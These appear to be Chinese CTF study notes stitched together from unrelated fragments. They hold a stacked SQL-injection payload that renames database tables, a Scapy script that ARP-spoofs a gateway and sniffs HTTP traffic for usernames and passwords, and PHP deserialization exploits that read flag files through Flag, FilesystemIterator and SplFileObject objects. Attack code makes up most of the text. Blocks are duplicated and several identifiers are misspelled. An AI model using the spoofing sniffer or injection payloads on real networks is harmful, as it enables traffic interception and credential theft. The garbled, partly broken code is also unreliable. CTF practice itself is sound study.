?inject=1';rename table words to words1;rename table `1919810931114514` to words;alter table words add id int unsigned not null auto_increment primary key;alter table words change flag data varcgae(100);--+
#SR()函数用来来发送数据包和接收响应,他会返回两个列表数据,一个是answer list 另一个是unanswered list #公式:pack=Ether(src=攻击者MAC地址,dst=目标MAC地址)/ARP(hwsrc=攻击者MAC地址,psrc=要假装谁就是谁的IP地址,hwdst=目标MAC地址,pdst=目标IP地址,op=2) ans,unans = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=getway+'/24'),timeout=1) print('一共扫描到%d个主机:'%len(ans)) for i in ans: print(i) #找用户名和密码 def paw(p): try: if p.haslayer(Raw): ss=p.load.decode() result=re.findall(r'userName=(.+)&passWord=(.+)',ss) if result: print('user:',result[0][0]) print('pass:',result[0][1]) except: pass #抓包 def capture(tip,tcap): #冒充自己为网关 pkts=sniff(iface=wifi,timeout=tcap,filter='tcp port 80 and src host %s'%tip,prn=paw) #arp欺骗攻击 def arpspoof(tip,tcap): t = Thread(target=capture,args=(tip,tcap)) t.start() for i in range(tcap*5): sendp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=target,psrc=getway)) time.sleep(0.2)
<?php //flag is in flag.php error_reporting(1); class Read { public $var; /*Read类的一个函数*/ public function file_get($value) { $text = base64_encode(file_get_contents($value)); #将文件的内容以字符串的形式读取出来,并进行base64的加密 return $text; } /*当以函数的方法调用一个Read类实例时,会先调用__invoke方法*/ public function __invoke(){ $content = $this->file_get($this->var); #将被base64加密的文件的内容赋值给$comtent echo $content; } }
class Show{ public $source; public $str; /*当初始化一个Show实例的时候,默认他的file属性为index.php*/ public function __consturct($file='index.php'){ $this->source = $file; #将index.php赋值给$this->source echo $this->source."Welcome"."<br>"; #显示index.php Welcomee } /*当一个Show的类实例被当作一个字符串使用时,会。。。。*/ public function __toString(){ return $this->str['str']->source;//注意这里,很奇怪。调用了一个从来没有的类属性, //所以会调用get方法。而同时正常到$this->str['str']就返回了键值了,但是它后面又有一个取属性的操作。 //所以想$this->str['str']本身就是一个有source属性的一个类的实例 } /*这应该不是一个内置的魔术方法,,,*/ public function _show(){ if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)){ die('hacker'); } else{ highlight_file($this->source); } } /*当对一个Show实例进行反序列化之前调用*/ public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i",$this->source)){ echo "hacker"; $this->source="index.php"; } } }
class Test{ public $p; public function __construct(){ $this->p = array(); } /*在获取一个Test的类成员的时候调用:$a->bbb*/ public function __get($key){ $function = $this->p; return $function(); } }
public function __toString(){ return $this->str['str']->source;//注意这里,很奇怪。调用了一个从来没有的类属性, //所以会调用get方法。而同时正常到$this->str['str']就返回了键值了,但是它后面又有一个取属性的操作。 //所以想$this->str['str']本身就是一个有source属性的一个类的实例 }
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")) #判断$text是否为空以及文件里的内容是否为welcome to the zjctf { echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
通过这段php代码,我们可以构造exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
<?php
class Flag{ //flag.php public $file='flag.php'; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $a=new Flag(); echo serialize($a); ?>
class A{ public $class; public $para; public $check; public function __construct() { $this->class = "B"; $this->para = "ctfer"; echo new $this->class ($this->para); } public function __wakeup() { $this->check = new C; if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
echo new $this->class ($this->para); } else die('bad hacker~'); } } class B{ var $a; public function __construct($a) { $this->a = $a; echo ("hello ".$this->a); } } class C{ function vaild($code){ $pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i'; if (preg_match($pattern, $code)){ return false; } else return true; } } if(isset($_GET['pop'])){ unserialize($_GET['pop']); } else{ $a=new A; } hello ctfer
可以构造exp’
1 2 3 4 5 6 7 8 9 10 11 12 13 14
<?php
class A{ public $class='Filesystemlterator'; public $para="var/www/html"; public $check; }
$b=new A();
echo serialize($b);
?>
得到序列化的数值后,构造payload
得到aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE文件名
然后在构造exp读取里面的文件
1 2 3 4 5 6 7 8 9 10 11 12 13
<?php
class A{ public $class='SplFileObject '; public $para="var/www/html/aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php"; public $check; }